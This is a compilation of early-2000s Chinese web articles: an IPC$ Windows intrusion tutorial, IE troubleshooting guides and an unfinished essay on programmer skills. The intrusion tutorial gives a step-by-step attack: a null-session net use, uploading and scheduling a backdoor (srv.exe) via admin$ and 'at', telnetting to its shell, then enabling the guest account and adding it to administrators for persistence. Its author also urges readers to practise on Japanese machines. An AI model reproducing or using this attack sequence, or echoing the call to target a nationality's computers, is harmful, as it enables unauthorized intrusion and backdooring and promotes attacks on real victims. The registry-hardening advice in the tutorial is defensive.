一 唠叨一下: 网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄. 不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少). 因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!
二 什么是ipc$ IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。 利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。 我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。 所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.
解惑: 1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。 也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的) 2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接 3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表
三 建立ipc$连接在hack攻击中的作用 就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!! (基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!) 不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的 因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接. 所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.
四 ipc$与空连接,139,445端口,默认共享的关系 以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)
1)ipc$与空连接: 不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了. 许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟). 2)ipc$与139,445端口: ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的. 3)ipc$与默认共享 默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
五 ipc$连接失败的原因 以下5个原因是比较常见的: 1)你的系统不是NT或以上操作系统; 2)对方没有打开ipc$默认共享 3)对方未开启139或445端口(惑被防火墙屏蔽) 4)你的命令输入有误(比如缺少了空格等) 5)用户名或密码错误(空连接当然无所谓了) 另外,你也可以根据返回的错误号分析原因: 错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 错误号51,Windows 无法找到网络路径 : 网络有问题; 错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 错误号1326,未知的用户名或错误密码 : 原因很明显了; 错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。 关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.
六 如何打开目标的IPC$(此段引自相关文章) 首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。
七 如何防范ipc$入侵 1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》) 首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
2禁止默认共享 1)察看本地共享资源 运行-cmd-输入net share 2)删除共享(每次输入一个) net share ipc$ /delete net share admin$ /delete net share c$ /delete net share d$ /delete(如果有e,f,……可以继续删除) 3)停止server服务 net stop server /y (重新启动后server服务会重新开启) 4)修改注册表 运行-regedit server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。 pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。 如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务 控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用
4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师
5设置复杂密码,防止通过ipc$穷举密码
八 相关命令 1)建立空连接: net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
2)建立非空连接: net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)
3)映射默认共享: net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推) 如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$
4)删除一个ipc$连接 net use \\IP\ipc$ /del
5)删除共享映射 net use c: /del 删除映射的c盘,其他盘类推 net use * /del 删除全部,会有提示要求按y确认
九 经典入侵模式 这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" 这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。 2. C:\>copy srv.exe \\127.0.0.1\admin$ 先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。 3. C:\>net time \\127.0.0.1 查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。 4. C:\>at \\127.0.0.1 11:05 srv.exe 用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!) 5. C:\>net time \\127.0.0.1 再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。 6. C:\>telnet 127.0.0.1 99 这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了 7.C:\>copy ntlm.exe \\127.0.0.1\admin$ 用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。 8. C:\WINNT\system32>ntlm 输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组 10. C:\>net user guest /active:yes 将对方的Guest用户激活
11. C:\>net user guest 1234 将Guest的密码改为1234,或者你要设定的密码
12. C:\>net localgroup administrators guest /add 将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
十 总结: 关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论. 最后,希望大家不要随便入侵,我写这篇文章的目的是想解答大家的疑惑,并不是鼓励大家随便的入侵,如果你非想试一下,建议拿小日本的机子开练(什么?为什么?因为我讨厌日本,没别的)
切请注意所谓系统默认共享 ,诸如ipc$,c$,admin$等等都是为了远程管理之用。 其本身并不是所谓“漏洞”,利用了这些“漏洞”的入侵,其实都是利用了弱口令或者其他应用中的漏洞拿到了管理员权限的帐户,一旦拿到了管理员权限,即便没有这些默认共享同样可以入侵,不过是麻烦些罢了!
|
|
IE问题解决方法汇总
|
作者: zgyatou
1、网页乱码的排除。 有些朋友问我,上网时为什么在网页上经常出现乱码?其实这一问题有两种现象:一种是语言的选择不当引起的,比如说浏览繁体网页,或国外有些网站,电脑一时不能自动转换内码,而出现了乱码。消除这种情况,可单击浏览器上的“查看”/“编码”,选取你要显示的文字,则乱码取消。另一种是电脑缺少内码转换器,如是则安装上就好了。
2、上网时发生非法操作的排除。 上网时经常出现“非法操作”的提示,只有关闭重新打开才能消除。其原因和排除方法:一是可能是数据在传输过程中发生错误,当传过来的信息在内存中错误积累太多时便会影响正常浏览,只能重新调用或重启机器;二是清除硬盘缓存;三是升级浏览器版本;四是硬件兼容性差,可与商家提出更换的要求。
3、如何消除操作系统和浏览器在他人网站上显示。 浏览有些网站,它总能知道我采用的操作系统、浏览器、访问该站点的次数以及每次停留的时间,并且直接把这些内容显示在他的网站上,不知者弄得怪吓人的。消除办法:将Cookies文件夹的属性改为只读即可。
4、系统找不到网卡的故障原因及排除方法。 当网卡正确插到主板PCI或ISA插槽中后,系统无法找到该设备,也无法安装对应的驱动程序。在打开控制面板中的系统对象,选择设备管理器标签,单击刷新按钮,仍然没有发现新的设备。解决的办法:启动计算机,进入CMOS,选择其中的“BIOS FEATURES SETUP”一项,在“Report No FDD For Windows95"后的“Yes”改为“No”即可。
5、在“网上邻居”中看不到任何用户名称的故障排除。 在“网上邻居”中看不到任何用户的计算机,包括自己的计算机。一般情况下,这是网卡的安装和设置不正确造成的。通过选择“开始/设置/控制面板/系统/设备管理器”,在列表框中找到网卡后单击“属性”按钮,在出现的对话框中看网卡与系统中的其它设备有否发生冲突,如有冲突则在“网上邻居”中看不到任何计算机的名称。
6、IE默认首页被修改的故障排除。 IE浏览器上方的标题栏被改成“欢迎访问……网站”的样式,这是最常见的篡改手段,受害者众多。排除办法可通过修改注册表来解决: ①在Windows启动后,点击“开始”→“运行”菜单项,在“打开”栏中键入regedit,然后按“确定”键; ②展开注册表到 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main 下,在右半部分窗口中找到串值“Start Page”双击 ,将Start Page的键值改为“about:blank”即可; ③同理,展开注册表到 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main 在右半部分窗口中找到串值“Start Page”,然后按②中所述方法处理。 ④退出注册表编辑器,重新启动计算机,一切OK了! 特殊例子:当IE的起始页变成了某些网址后,就算你通过选项设置修改好了,重启以后又会变成他们的网址啦,十分的难缠。其实他们是在你机器里加了一个自运行程序,它会在系统启动时将你的IE起始页设成他们的网站。 解决办法:运行注册表编辑器regedit.exe,然后依次展开 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run 主键,然后将其下的registry.exe子键删除,然后删除自运行程序c:\Program Files\registry.exe,最后从IE选项中重新设置起始页就好了。
7、恶意网页篡改IE的默认页的排除方法。 有些IE被改了起始页后,即使设置了“使用默认页”仍然无效,这是因为IE起始页的默认页也被篡改啦。具体说来就是以下注册表项被修改: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ Main\Default_Page_URL “Default_Page_URL”这个子键的键值即起始页的默认页。排除办法: 运行注册表编辑器,然后展开上述子键,将“Default_Page_UR”子键的键值中的那些篡改网站的网址改掉就好了,或者设置为IE的默认值。
8、IE浏览器缺省主页被修改的排除办法。 修改IE浏览器缺省主页,并且锁定设置项,禁止用户更改回来。主要是修改了注册表中IE设置的下面这些键值(DWORD值为1时为不可选): [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "Settings"=dword:1 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "Links"=dword:1 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "SecAddSites"=dword:1
排除办法:将上面这些DWORD值改为“0”即可恢复功能。
9、默认首页变灰色且按扭不可用的故障排除。 这是由于注册表HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel 下的DWORD值“homepage”的键值被修改的缘故。原来的键值为“0”,被修改为“1”(即为灰色不可选状态)。
排除办法:将“homepage”的键值改为“0”即可。
10、IE标题栏被修改的故障排除。 在系统默认状态下,是由应用程序本身来提供标题栏的信息,但也允许用户自行在上述注册表项目中填加信息,而一些恶意的网站正是利用了这一点来得逞的:它们将串值Window title下的键值改为其网站名或更多的广告信息,从而达到改变浏览者IE标题栏的目的。 具体说来受到更改的注册表项目为: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window title HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window title 排除办法: ①在Windows启动后,点击“开始”→“运行”菜单项,在“打开”栏中键入regedit,然后按“确定”键; ②展开注册表到 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main 下,在右半部分窗口中找到串值“Window title” ,将该串值删除即可,或将Window title的键值改为“IE浏览器”等你喜欢的名字; ③同理,展开注册表到 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main 然后按②中所述方法处理。 ④退出注册表编辑器,重新启动计算机,运行IE,你会发现困扰你的问题解决了!
11、IE右键菜单被修改的故障排除。 受到修改的注册表项目为: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt 下被新建了网页的广告信息,并由此在IE右键菜单中出现! 排除办法:打开注册标编辑器,找到 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt 删除相关的广告条文即可,注意不要把下载软件FlashGet和Netants也删除掉啊,这两个可是“正常”的呀,除非你不想在IE的右键菜单中见到它们。
12、IE默认搜索引擎被修改的故障排除。 在IE浏览器的工具栏中有一个搜索引擎的工具按钮,可以实现网络搜索,被篡改后只要点击那个搜索工具按钮就会链接到那个篡改网站。出现这种现象的原因是以下注册表被修改: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\CustomizeSearch HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\SearchAssistant 排除办法:运行注册表编辑器,依次展开上述子键,将“CustomizeSearch”和“SearchAssistant”的键值改为某个搜索引擎的网址即可。
13、排除上网自动弹出的广告信息。 我们每次上网,经常有网页广告信息弹出!让人很讨厌啊。
排除办法:打开注册表编辑器,找到 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon 这一个主键,然后在右边窗口中找到“LegalNoticeCaption”和“LegalNoticeText”这两个字符串,删除这两个字符串就可以解决问题了。
14、浏览网页注册表被禁用故障的排除。 上网时,注册表被禁用,这是由于注册表 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System下的DWORD值“DisableRegistryTools”被修改为“1”的缘故,将其键值恢复为“0”即可恢复注册表的使用。
解决办法:用记事本程序建立以REG为后缀名的文件,将下面这些内容复制在其中就可以了。 REGEDIT4 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] “DisableRegistryTools”=dword:00000000
15、查看““源文件”菜单被禁用故障的排除。 在IE窗口中点击“查看”→“源文件”,发现“源文件”菜单已经被禁用。这是恶意网页修改了注册表,具体的位置为: 在注册表 HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer 下建立子键“Restrictions”,然后在“Restrictions”下面建立两个DWORD值:“NoViewSource”和“NoBrowserContextMenu”,并为这两个DWORD值赋值为“1”。 在注册表 HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Restrictions 下,将两个DWORD值:“NoViewSource”和“NoBrowserContextMenu”的键值都改为了“1”。 通过上面这些键值的修改就达到了在IE中使鼠标右键失效,使“查看”菜单中的“源文件”被禁用的目的。要向你说明的是第2点中提到的注册表其实相当于第1点中提到的注册表的分支,修改第1点中所说的注册表键值,第2点中注册表键值随之改变。 排除办法:将以下内容另存为后缀名为reg的注册表文件,比方说unlock.reg,双击unlock.reg导入注册表,不用重启电脑,重新运行IE就会发现IE的功能恢复正常了。 REGEDIT4 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions] “NoViewSource”=dword:00000000 "NoBrowserContextMenu"=dword:00000000 [HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Restrictions] “NoViewSource”=dword:00000000 “NoBrowserContextMenu”=dword:00000000 要特别注意的是,在你编制的注册表文件unlock.reg中,“REGEDIT4”一定要大写,并且它的后面一定要空一行,还有,“REGEDIT4”中的“4”和“T”之间一定不能有空格,否则将前功尽弃!许多朋友写注册表文件之所以不成功,就是因为没有注意到上面所说的内容,这回该注意点喽。请注意如果你是Win2000或WinXP用户,请将“REGEDIT4”改为Windows Registry Editor Version 5.00。 |
|
IE浏览器八大经典错误故障写真集
|
作者: AppleBBS
当你驾着心爱的IE在Internet上纵横驰骋时,突然桌面上弹出一个莫名其妙的警告提示框,紧接着所有IE窗口全部关闭;或无论如何点击链接,IE始终没有反应……这些故障让人心烦意乱,无可奈何。不过你也不用手足无措,今天我们就一起将IE常见错误揪出来,并彻底消灭! 1.发送错误报告 【故障现象】 在使用IE浏览网页的过程中,出现"Microsoft Internet Explorer遇到问题需要关闭……"的信息提示。此时,如果单击"发送错误报告"按钮,则会创建错误报告,单击"关闭"按钮之后会引起当前IE窗口关闭;如果单击"不发送"按钮,则会关闭所有IE窗口。
【故障点评】 这是IE为了解用户在使用中的错误而设计的一个小程序,不过我可不想当微软的"免费测试员",更何况每天它都会面对成千上万的报告,谁知道有没有在意我的报告问题呢? 【故障解决】 针对不同情况,可分别用以下方法关闭IE发送错误报告功能: ①对IE 5.x用户,执行"控制面板→添加或删除程序",在列表中选择"Internet Explorer Error Reporting"选项,然后单击"更改/删除"按钮,将其从系统中删除。 ②对Windows 9x/Me/NT/2000下的IE 6.0用户,则可打开"注册表编辑器",找[HKEY_LOCAL_MACHINE\Software \Microsoft\Internet Explorer\Main],在右侧窗格创建名为IEWatsonEnabled的DWORD双字节值,并将其赋值为0。 ③对Windows XP的IE 6.0用户,执行"控制面板→系统",切换到"高级"选项卡,单击"错误报告"按钮,选中"禁用错误报告"选项,并选中"但在发生严重错误时通知我",最后单击"确定"按钮。
2.IE发生内部错误,窗口被关闭 【故障现象】 在使用IE浏览一些网页时,出现错误提示对话框:"该程序执行了非法操作,即将关闭……",单击"确定"按钮后又弹出一个对话框,提示"发生内部错误……"。单击"确定"按钮后,所有打开的IE窗口都被关闭。 【故障点评】 该错误产生原因多种多样,内存资源占用过多、IE安全级别设置与浏览的网站不匹配、与其他软件发生冲突、浏览网站本身含有错误代码……这些情况都有可能,需要耐心加以解决。 【故障解决】 ①关闭过多的IE窗口。如果在运行需占大量内存的程序,建议IE窗口打开数不要超过5个。 ②降低IE安全级别。执行"工具→Internet选项"菜单,选择"安全"选项卡,单击"默认级别"按钮,拖动滑块降低默认的安全级别。
③将IE升级到最新版本。IE 6.0下载地址: http://download.sina.com.cn/cgi-bin/detail.cgi?s_id=6041 。IE 6.0 SP1下载地址: download.microsoft.com 。 可使用以IE为核心的浏览器,如MyIE2。它占用系统资源相对要少,而且当浏览器发生故障关闭时,下次启动它,会有"是否打开上次发生错误时的页面"的提示,尽可能地帮你挽回损失。下载地址: http://dl.pconline.com.cn/html/1/8/dlid=7998&dltypeid=1&pn=0&.html
3.出现运行错误 【故障现象】 用IE浏览网页时弹出"出现运行错误,是否纠正错误"对话框,单击"否"按钮后,可以继续上网浏览。 【故障点评】 可能是所浏览网站本身的问题,也可能是由于IE对某些脚本不支持。 【故障解决】 ①启动IE,执行"工具→Internet选项"菜单,选择"高级"选项卡,选中"禁止脚本调试"复选框,最后单击"确定"按钮即可。 ②将IE浏览器升级到最新版本。
4.IE窗口始终最小化的问题 【故障现象】 每次打开的新窗口都是最小化窗口,即便单击"最大化"按钮后,下次启动IE后新窗口仍旧是最小化的。 【故障点评】 IE具有"自动记忆功能",它能保存上一次关闭窗口后的状态参数,IE本身没有提供相关设置选项,不过可以借助修改注册表来实现。 【故障解决】
①打开"注册表编辑器",找到[HKEY_ CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Old WorkAreas],然后选中窗口右侧的"OldWorkAreaRects",将其删除。 ②同样在"注册表编辑器"中找到[HKEY_CURRENT_USER\Software \Microsoft\Internet Explorer\Main],选择窗口右侧的"Window_Placement",将其删除。 ③退出"注册表编辑器",重启电脑,然后打开IE,将其窗口最大化,并单击"往下还原"按钮将窗口还原,接着再次单击"最大化"按钮,最后关闭IE窗口。以后重新打开IE时,窗口就正常了!
5.IE无法打开新窗口 【故障现象】 在浏览网页过程中,单击超级链接无任何反应。 【故障点评】 多半是因为IE新建窗口模块被破坏所致。 【故障解决】 单击"开始→运行",依次运行"regsvr32 actxprxy.dll"和"regsvr32 shdocvw.dll"将这两个DLL文件注册,然后重启系统。如果还不行,则可以将mshtml.dll、urlmon.dll、msjava.dll、browseui.dll、oleaut32.dll、shell32.dll也注册一下。
6.脱机却无法浏览本机上的网页 【故障现象】 通过IE的"脱机浏览"功能,我们差不多能浏览所有已经下载到本地硬盘的网页内容,这对拨号上网的用户来说更是省钱的一大法宝。但有时,目标网页虽然在硬盘上,但是却提示"无法浏览"。 【故障点评】 这多半是由于你修改了系统时间,引起了IE历史记录的错乱。 【故障解决】
①可用直接在"临时文件夹"中搜索的方法来激活它。按下Win+F,在"包含文字"处输入部分记忆中的关键字,在"搜索"处按"浏览"按钮选择IE临时文件夹的地址,如"C:\WINDOWS\Temporary Internet Files",单击"开始查找",在结果列表里双击目标页打开。 ②可以尝试用腾讯的TE等浏览器来脱机浏览。
7.联网状态下,浏览器无法打开某些站点 【故障现象】 上网后,在浏览某些站点时遇到各种不同的连接错误。 【故障点评】 这种错误一般是由于网站发生故障或者你没有浏览权限所引起。 【故障解决】 针对不同的连接错误,IE会给出不同的错误信息提示,比较常见的有以下几个: ①提示信息:404 NOT FOUND这是最为常见的IE错误信息。主要是因为IE不能找到你所要求的网页文件,该文件可能根本不存在或者已经被转移到了其他地方。 ②提示信息:403 FORBIDDEN常见于需要注册的网站。一般情况下,可以通过在网上即时注册来解决该问题,但有一些完全"封闭"的网站还是不能访问的。 ③提示信息:500 SERVER ERROR通常由于所访问的网页程序设计错误或者数据库错误而引起,你只有等待对方网页纠正错误后再浏览了。 小渔收集了一个IE错误代码大全,大家在遇到IE错误提示信息,但是搞不清楚的时候,可以去这里查阅: http://www.cfan.com.cn/09net/19ie.htm 。
8.IE无法重新安装 【故障现象】 IE不能正常使用,在重装时却提示"发现系统中有该版本的IE"而拒绝安装;"添加或删除程序"中又没有卸载选项。 【故障点评】 重装"是解决IE故障的"终极大法",也是初级用户的法宝。 【故障解决】
①对IE 5.0的重装可按以下步骤进行:
第一步:打开"注册表编辑器",找到[HKEY_LOCAL_ MACHINE\Software\Microsoft\Internet Explorer],单击其下的Version Vector键。
第二步:在右侧窗格中双击IE子键,将原来的"5.0002"改为"4.0",单击"确定"后退出"注册表编辑器"。
第三步:重启后,就可以重装IE 5.0了。 ②IE 6.0的重装有两种方法:
方法1:打开"注册表编辑器",找到[HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}],将IsInstalled的DWORD值改为0就可以了。
方法2:放入Windows XP安装盘,在"开始→运行"窗口键入"rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %windir%\Inf\ie.inf"。
|
|
程序员的七种武器
|
信息技术的发展时间虽然不长,但其爆炸式的发展速度使信息技术迅速覆盖社会和人类生活的各个角落。程序员们是这场信息化浪潮的见证者之一,更是其中的主要参与者,这是时代赋予每个程序员的机会和责任。
信息技术的更新速度是惊人的,程序员的职业生涯则是一个要求不断学习的过程,永远不能固步自封。本人在工作期间曾看见过很多程序员只要有闲暇时间就浏览一些没有太大作用的网页,在网上聊天,打游戏,浪费了大量的时间,十分不可取。而另外一种情况是,IT技术的日新月异使很多程序员眼花缭乱,什么都想学,却又不知从何学起,今天看看这个,明天学学那个,贪多不熟。
虽然IT技术发展迅速,但很多技术都是有规律可循,一些基本的概念、原理和方法还很通用,可以举一反三。本人根据自己的体会和经验,向那些刚刚踏入IT行业的新程序员们或正在迷茫的程序员们推荐程序员必须掌握的七种武器,有了这七种武器,虽不敢说笑傲江湖,但将自己立于不败之地还是可以的。
第一种武器:开发工具
至少熟练掌握两到三种开发工具的使用,这是程序员的立身之本,其中C/C++和JAVA是我重点推荐的开发工具,C/C++以其高效率和高度的灵活性成为开发工具中的利器,很多系统级的软件还是用C/C++编写。而JAVA的跨平台和与WEB很好的结合是JAVA的优势所在,而本人对SUN公司的“网络即计算机”的概念相当欣赏,并相信JAVA即其相关的技术集JAVA One会成为未来的主流开发工具之一。其次,如果能掌握一种简便的可视化开发工具,如VB,PowerBuilder,Delphi,C++ Builder,则更好,这些开发工具减小了开发难度,并能够强化程序员对象模型的概念。另外,需要掌握基本的脚本语言,如shell,perl等,至少能读懂这些脚本代码。
第二种武器:数据库
为什么数据库是如此重要?很多应用程序都是以数据库的数据为中心,而数据库的产品也有不少,其中关系型数据库仍是主流形式,所以程序员至少熟练掌握一两种数据库,对关系型数据库的关键元素要非常清楚,要熟练掌握SQL的基本语法。虽然很多数据库产品提供了可视化的数据库管理工具,但SQL是基础,是通用的数据库操作方法。如果没有机会接触商业数据库系统,可以使用免费的数据库产品是一个不错的选择,如mySQL, Postgres等。
第三种武器:操作系统
当前主流的操作系统是Windows,Linux/Unix,熟练地使用这些操作系统是必须的,但只有这些还远远不够。要想成为一个真正的编程高手,需要深入了解操作系统,了解它的内存管理机制、进程/线程调度、信号、内核对象、系统调用、协议栈实现等。Linux作为开发源码的操作系统,是一个很好的学习平台,Linux几乎具备了所有现代操作系统的特征。虽然Windows系统的内核实现机制的资料较少,但通过互联网还是能获取不少资料。只有对操作系统有一定的了解后,你会发现自己上了一个新的台阶。
第四种武器:网络协议TCP/IP
在互联网如此普及的今天,如果您还没有对互联网的支撑协议TCP/IP协议栈有很好的掌握,就需要迅速补上这一课,网络技术已改变了软件运行的模式,从最早的客户/服务器结构,到今天的WEB Services,再到未来的网格计算,这一切都离不开以TCP/IP协议栈为基础的网络协议支持,所以,深入掌握TCP/IP协议是非常必要的。至少,你需要了解ISO七层协议模型,IP/UDP/TCP/HTTP等常用协议的原理和三次握手机制。
第五种武器:DCOM/CORBA/XML/WEB Services
随着技术的发展,软件与网络的无缝结合是必然趋势,软件系统的位置无关性是未来计算模式的重要特征之一,DCOM/CORBA是当前两大主流的分布计算的中间件平台,DCOM是微软COM(组件对象模型)的扩展,而CORBA是OMG支持的规范。程序员需要做的不仅仅是利用商业的开发平台来开发软件,而是要理解这些技术的初衷,即为什么需要这项技术,如果你能理解了这一点,再回头看这些技术的具体实现,就如庖丁解牛,迎刃而解。XML/WebServices重要性不言而喻,XML以其结构化的表示方法和超强的表达能力被喻为互联网上的“世界语”,是分布计算的基石之一。
第六种武器:软件工程与CMM
